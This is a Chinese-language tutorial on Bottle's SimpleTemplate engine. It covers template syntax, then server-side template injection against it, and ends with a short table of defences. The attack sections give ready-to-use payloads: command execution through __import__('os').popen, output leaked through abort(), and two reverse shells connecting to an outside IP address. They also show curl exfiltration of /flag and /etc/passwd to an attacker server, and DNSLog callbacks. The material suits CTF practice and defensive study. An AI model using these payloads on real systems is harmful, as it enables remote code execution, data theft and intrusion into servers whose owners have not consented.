前言

SimpleTemplate 是 Python 微框架 Bottle 内置的模板引擎。与 Jinja2 不同,SimpleTemplate 追求的正是”简单”——它允许在模板中直接嵌入原生 Python 代码(% ...<% ... %>),而不是 Jinja2 那种需要用 {% %} 包裹的受限 DSL。但也正因为这种”便利”,一旦存在 SSTI 注入点,攻击者几乎不受限制——直接写 __import__('os').popen(...) 即可 RCE,不需要绕 MRO 链和 __subclasses__()

本文将 SimpleTemplate 的语法、SSTI 利用、无回显打法系统化整理。

--- ## 一、SimpleTemplate 基础语法 ### 1.1 变量输出——`{% raw %}{{ }}{% endraw %}`
1
2
3
4
5
from bottle import SimpleTemplate

tpl = SimpleTemplate('Hello {{name}}!')
print(tpl.render(name='World'))
# Hello World!

快捷写法:

1
2
3
from bottle import template

template('Hello {{name}}!', name='World')

字典方式传入参数(** 解包):

1
2
3
4
5
from bottle import template

my_dict = {'number': '123', 'street': 'Fake St.', 'city': 'Fakeville'}
template('I live at {{number}} {{street}}, {{city}}', **my_dict)
# I live at 123 Fake St., Fakeville

1.2 自动转义与取消转义

{{ }} 默认对 HTML 特殊字符(< > & " ')做转义防止 XSS:

1
2
template('Hello {{name}}!', name='<b>World</b>')
# Hello &lt;b&gt;World&lt;/b&gt;!

如果想输出原始 HTML(不转义),在变量名前加 !

1
2
template('Hello {{!name}}!', name='<b>World</b>')
# Hello <b>World</b>!

1.3 嵌入 Python 代码——%<% %>

SimpleTemplate 与 Jinja2 最大的区别:直接在模板中嵌入原生 Python 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from bottle import Bottle, SimpleTemplate, request

app = Bottle()


@app.route('/')
def home():
name = request.query.get('name', 'World')

template_str = """
% name = name or "Bob" # 单行 Python 代码
<p>Some plain text in between</p>
<%
# 多行 Python 代码块
name = name.title().strip()
%>
<p>More plain text</p>
<p>Hello {{name}}!</p>
"""
tpl = SimpleTemplate(template_str)
return tpl.render(name=name)


if __name__ == "__main__":
print("Listening on port 8080.")
app.run(host='localhost', port=8080)
语法 含义
% code 单行 Python 代码(行首的 %
<% code %> 多行 Python 代码块
{{ var }} 输出变量值(自动转义)
{{ !var }} 输出原始 HTML(不转义)

循环和条件语句必须用 % end 结束:

1
2
3
4
5
6
7
8
9
10
11
<ul>
% for item in basket:
<li>{{item}}</li>
% end
</ul>

% if user == 'admin':
<p>Welcome, admin!</p>
% else:
<p>Welcome, guest!</p>
% end

1.4 % 的转义

如果 % 出现在行首但又不想被当作代码标记,需要转义(\``%)。文本中间的 % 不需要转义。

1.5 空白控制

代码块执行后不会输出任何内容(不像 Jinja2 中 {% %} 可能有残余空白):

1
2
3
4
5
<div>
% if True:
<span>content</span>
% end
</div>

输出:

1
2
3
<div>
<span>content</span>
</div>

若要更紧凑(去掉换行),在行尾加 \\

1
2
3
4
5
<div>\\
%if True:
<span>content</span>\\
%end
</div>

输出:

1
<div><span>content</span></div>

1.6 内置模板函数

函数 作用
defined(name) 变量已定义返回 True,否则 False
get(name, default=None) 返回变量值或默认值
setdefault(name, default) 变量未定义则设为默认值,返回该变量
1
2
3
4
5
6
% setdefault('text', 'No Text')
<h1>{{get('title', 'No Title')}}</h1>
<p>{{ text }}</p>
% if defined('author'):
<p>By {{ author }}</p>
% end

二、SSTI 攻击方式

2.1 SimpleTemplate SSTI 为什么比 Jinja2 更危险

对比 Jinja2 SSTI SimpleTemplate SSTI
直接执行 Python 需要 {{ }} 内链式调用 MRO → __subclasses__ % 代码行直接写原生 Python
调用 os.popen 需要找到包含 os 的子类 % import os% __import__('os')
语法限制 只能用表达式(不能写 import 语句) 可以写任意 Python 语句
被过滤后 有 13+ 种绕过方式 原生的 Python 不需要绕过链

2.2 无回显——abort() 外带数据

SSTI 执行后模板渲染结果不显示时,用 bottle.abort() 把命令结果塞进 HTTP 响应:

1
2
3
4
% from bottle import abort
% a = __import__('os').popen("ls /").read()
% abort(404, a)
% end

abort(status_code, body) 会立即终止请求并返回指定状态码和响应体。这里 abort(404, a) 把命令输出放在 404 响应中返回给攻击者。

2.3 反弹 Shell

方式一:直接反弹 bash

1
%0A%import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("101.200.39.193",5000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);#

方式二:Python pty 反弹 Shell(更稳定)

1
%0A%__import__('os').popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"111.xxx.xxx.xxx\",7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")'").read()

%0A 是 URL 编码的换行符(\n)。在 GET 参数注入时,用 %0A 将多行代码合并到一行,每行前加 % 即可执行。


三、完整攻击流程

3.1 漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from bottle import Bottle, SimpleTemplate, request

app = Bottle()


@app.route('/greet')
def greet():
name = request.query.get('name', 'World')
template_str = '<h1>Hello {{name}}!</h1>'
tpl = SimpleTemplate(template_str)
return tpl.render(name=name)


app.run(host='0.0.0.0', port=8080)

这个应用是安全的——因为 name 只是模板变量,不会被当作代码执行。

真正的 SSTI 漏洞代码:

1
2
3
4
5
@app.route('/unsafe')
def unsafe():
user_template = request.query.get('tpl', '<h1>Hello</h1>')
tpl = SimpleTemplate(user_template) # ← 用户输入直接作为模板编译!
return tpl.render()

当用户输入 {{7*7}} 返回 49 即确认 SSTI。更直接的是,输入 % __import__('os').popen('id').read() 直接 RCE。

3.2 探测与信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 确认 SSTI
{{7*7}} # 返回 49 = SSTI 存在

# 当前用户
% import os
{{os.popen('whoami').read()}}

# 列出根目录
% from bottle import abort
% a = __import__('os').popen('ls /').read()
% abort(404, a)
% end

# 读取 flag
% from bottle import abort
% a = __import__('os').popen('cat /flag*').read()
% abort(404, a)
% end

3.3 多种 RCE 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 方法一:os.popen
% __import__('os').popen('whoami').read()

# 方法二:os.system(返回退出码,无输出内容)
% import os
% os.system('curl http://vps/$(cat /flag|base64)')

# 方法三:subprocess
% import subprocess
% subprocess.run('cat /flag', shell=True)

# 方法四:commands(Python 2)
% import commands
{{commands.getoutput('cat /flag')}}

四、完整利用示例——带 SSTI 的题目进攻步骤

4.1 读取敏感文件

1
2
3
4
5
# POST /login?name=
% from bottle import abort
% a = __import__('os').popen('cat /etc/passwd').read()
% abort(200, a)
% end

4.2 利用 curl 外带数据

1
2
% import os
% os.system('curl -X POST http://attacker-vps:8080/collect -d "$(cat /flag | base64)"')

4.3 配合 DNSLog 确认命令是否执行

1
2
% import os
% os.system('ping -c 1 $(whoami).dnslog.example.com')

五、SimpleTemplate SSTI vs Jinja2 SSTI 对比

维度 SimpleTemplate (Bottle) Jinja2 (Flask)
模板引擎复杂度 极简——模板 ≈ Python 代码 中等——受限 DSL,有沙箱
SSTI 利用难度 极低——直接写 Python 语句 需要理解 MRO / __subclasses__
是否需要绕过 几乎不需要(除非 WAF 在应用层) 常见的 _ . [] '' 过滤需要绕过
代码执行语法 % code<% code %> {{ ... }} 链式表达式
最简 RCE % __import__('os').popen('id').read() {{lipsum.__globals__['os'].popen('id').read()}}
无回显打法 abort(404, output) 直接返回 写 static / curl / DNS 外带
框架内存马 app.route() 动态注册路由 add_url_rule / before_request_funcs
自动转义 默认转义 HTML,{{!var}} 取消 默认转义,{{ var\|safe }} 取消

六、防御措施

措施 说明
永远不要让用户输入作为模板 使用静态模板文件 + 渲染上下文变量,不要用 SimpleTemplate(user_input)
如果有动态模板需求 严格限制可用语法:用正则白名单、禁用 %<% 语法
沙箱隔离 不要给 Bottle 进程过高的权限,用 Docker + seccomp 限制系统调用
WAF 防护 在请求层过滤 __import__popensubprocess% 等关键字
日志监控 监测模板渲染异常和异常的系统命令执行

参考